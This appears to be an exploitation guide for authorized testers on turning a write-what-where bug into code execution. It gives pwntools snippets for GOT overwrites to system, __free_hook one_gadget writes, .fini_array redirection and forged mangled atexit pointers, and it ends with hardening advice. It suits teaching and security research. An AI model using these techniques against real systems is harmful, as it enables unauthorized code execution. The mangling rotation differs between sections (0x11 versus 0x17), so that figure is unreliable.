Exploiting Arbitrary Write To Execution

Exploiting Arbitrary Write to Execution

When to Use

• During authorized binary exploitation when a bug yields a write-what-where primitive: format-string %n, an OOB array write, a heap metadata corruption (e.g., tcache/fastbin poisoning to return an arbitrary chunk), or a UAF that lets you write a controlled value to a controlled address.
• When you control where and what you write but do not yet have direct control of RIP/EIP, and you need a code pointer to overwrite that the program will later call.
• When deciding between targets based on mitigations: Partial vs Full RELRO, presence of __malloc_hook/__free_hook (removed in glibc >= 2.34), and pointer mangling on atexit handlers.
• As the bridge step that turns "I can write 8 bytes somewhere" into "the program jumps to my gadget/one_gadget".

Critical: Concepts/Steps Most Often Missed

• Full RELRO kills the GOT path. With Full RELRO the GOT is mapped read-only after startup, so aw2exec-got-plt fails. Confirm RELRO with checksec first and pick a writable target instead (hooks, __exit_funcs, __printf_arginfo_table, a saved return address, or a function pointer in writable data).
• The hooks are gone in modern glibc. __malloc_hook and __free_hook were removed in glibc 2.34. On older targets they are a one-write win (point to a one_gadget then trigger malloc/free). On newer targets you must pivot to alternatives like FSOP (_IO_FILE vtable), __exit_funcs, or __printf_arginfo_table.
• atexit pointers are mangled. __exit_funcs (the atexit/__cxa_atexit list) stores function pointers encrypted with PTR_MANGLE (rotate-left by a known amount and XOR with fs:[0x30] pointer_guard). You must leak the guard to forge a usable entry, or aim at a different target.
• You must trigger the call. Overwriting .fini_array only fires at clean program exit; __malloc_hook needs a subsequent allocation; a GOT entry needs the corresponding library call. If nothing calls your target, nothing happens.
• Alignment and movaps. A one_gadget/libc system often requires 16-byte stack alignment; the constraints printed by one_gadget (e.g., [rsp+0x40] == NULL) must hold at call time or it crashes in libc.
• Endianness and partial writes. Many primitives write byte-by-byte (format string) — order writes from low bytes and watch for clobbering already-written bytes.

How to CONFIRM

Set the write target to a deterministic sentinel first (e.g., overwrite the GOT entry of puts with the address of win/a int3/a known label) and set a breakpoint in gdb (pwndbg/gef) on that address. Trigger the call path. If execution lands at your sentinel ($pc equals the value you wrote, or the breakpoint hits), the write-to-exec conversion is confirmed. A write that completes but never reaches your address means you targeted a pointer that is not actually invoked on this path — choose another.

Workflow

Step 1: Profile the Binary and Pick a Target

pwn checksec ./vuln            # RELRO (Partial/Full), PIE, NX -> decides target viability

Partial RELRO            -> GOT/PLT overwrite (aw2exec-got-plt) is viable
Full RELRO               -> use hooks / __exit_funcs / __printf_arginfo_table / function pointers / saved RIP
glibc < 2.34             -> __malloc_hook / __free_hook are one-write wins
glibc >= 2.34            -> FSOP, __exit_funcs (mangled), .fini_array (if writable), vtable
exit() reachable         -> .fini_array / .dtors / __exit_funcs

Step 2: Resolve Addresses (and Leak libc if Needed)

from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# GOT/PLT targets (no leak needed if overwriting with a PLT/known address):
got_puts   = elf.got['puts']        # writable under Partial RELRO
# libc internals (need a libc base leak first):
# malloc_hook = libc.sym['__malloc_hook']  (glibc < 2.34)
# free_hook   = libc.sym['__free_hook']
# exit_funcs  = libc.sym['__exit_funcs']

If targeting libc internals, obtain a leak (GOT read, format-string %p, or an info-leak bug) and compute libc.address = leaked - libc.sym['<known>'].

Step 3: Perform the Arbitrary Write at the Chosen Target

# Example A: GOT overwrite (Partial RELRO) -- point strlen/puts GOT at system, then call with "/bin/sh"
write_what  = libc.sym['system']
write_where = elf.got['strlen']
payload = fmtstr_payload(offset, {write_where: write_what})   # format-string primitive
io.sendline(payload)

# Example B: __free_hook -> one_gadget (glibc < 2.34)
og = libc.address + 0x4f432                # a one_gadget that satisfies its constraints
arbitrary_write(libc.sym['__free_hook'], og)
# then ensure a free() runs on a chunk holding "/bin/sh" if using system instead

# Example C: .fini_array overwrite -> redirect destructor to win()/main on exit (no PIE)
arbitrary_write(elf.sym['__fini_array_start'], elf.sym['win'])

For __exit_funcs/atexit, account for PTR_MANGLE:

# mangled = ROL(ptr ^ pointer_guard, 0x11)   (x86-64). Leak pointer_guard (fs:[0x30]) to forge:
mangled = rol((target_func ^ pointer_guard) & 0xffffffffffffffff, 0x11, 64)
arbitrary_write(exit_funcs_entry_fn, mangled)

Step 4: Trigger Execution and Verify

# Trigger the path that invokes the overwritten pointer:
#  - GOT: call the hijacked function (e.g., send input that makes the program call strlen/puts)
#  - hooks: cause a malloc()/free()
#  - .fini_array/__exit_funcs: let the program exit() cleanly
#  - __printf_arginfo_table: cause a printf-family call that consults the table
io.interactive()      # confirm shell / win() output

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Format string + Partial RELRO -> GOT overwrite

A printf(user_input) with no fixed format gives %n arbitrary write. With Partial RELRO the GOT is writable; overwrite strlen@got (or puts@got) with system, then trigger a call where the argument is "/bin/sh", yielding a shell.

Scenario 2: tcache poisoning + glibc 2.31 -> __free_hook

A UAF lets you poison the tcache freelist to return a chunk at __free_hook. Write a one_gadget there, place "/bin/sh" in a chunk, and free() it so __free_hook(chunk) runs system("/bin/sh")-equivalent code.

Scenario 3: Full RELRO -> __exit_funcs forge

GOT is read-only, hooks removed. Leak pointer_guard (fs:[0x30]) via an info leak, mangle a one_gadget with ROL((g ^ guard), 0x17), overwrite an __exit_funcs entry, then let the program exit() to fire it.

Scenario 4: __printf_arginfo_table redirection

On a target that uses custom printf specifiers, overwrite a __printf_arginfo_table/__printf_function_table entry with a controlled pointer; the next printf-family call that parses the specifier invokes the attacker function.

Output Format

## Arbitrary-Write-to-Execution Finding

**Vulnerability**: Write-what-where converted to code execution (CWE-123)
**Severity**: Critical (arbitrary code execution)
**Binary**: ./vuln (x86-64, Partial RELRO, NX, No PIE) + libc 2.31
**Primitive**: format-string %n -> arbitrary 8-byte write (offset 6)

### Target Selection & Proof
- checksec: Partial RELRO -> GOT writable -> chose strlen@got (0x404038)
- Sentinel test: wrote &win (0x401256) to strlen@got; gdb breakpoint at win hit on next call -> control CONFIRMED
- Final target: strlen@got overwritten with system@libc (leaked libc base 0x7ffff7a0d000)

### Exploitation Path
1. Leak libc via puts@got read (%p chain)
2. fmtstr_payload(6, {0x404038: libc.sym['system']})
3. Send input "/bin/sh" so program calls strlen("/bin/sh") -> system("/bin/sh")
Result: interactive shell as the target user.

### Impact
Arbitrary code execution in the context of the vulnerable process.

### Recommendation
1. Build with Full RELRO (-Wl,-z,relro,-z,now) and PIE to remove writable GOT and randomize layout.
2. Eliminate format-string bugs: never pass user input as a format (use printf("%s", input)).
3. Enable FORTIFY_SOURCE=2, stack canaries, and current glibc (hardened/removed legacy hooks).
4. Add bounds checks on all index/pointer writes to prevent write-what-where primitives.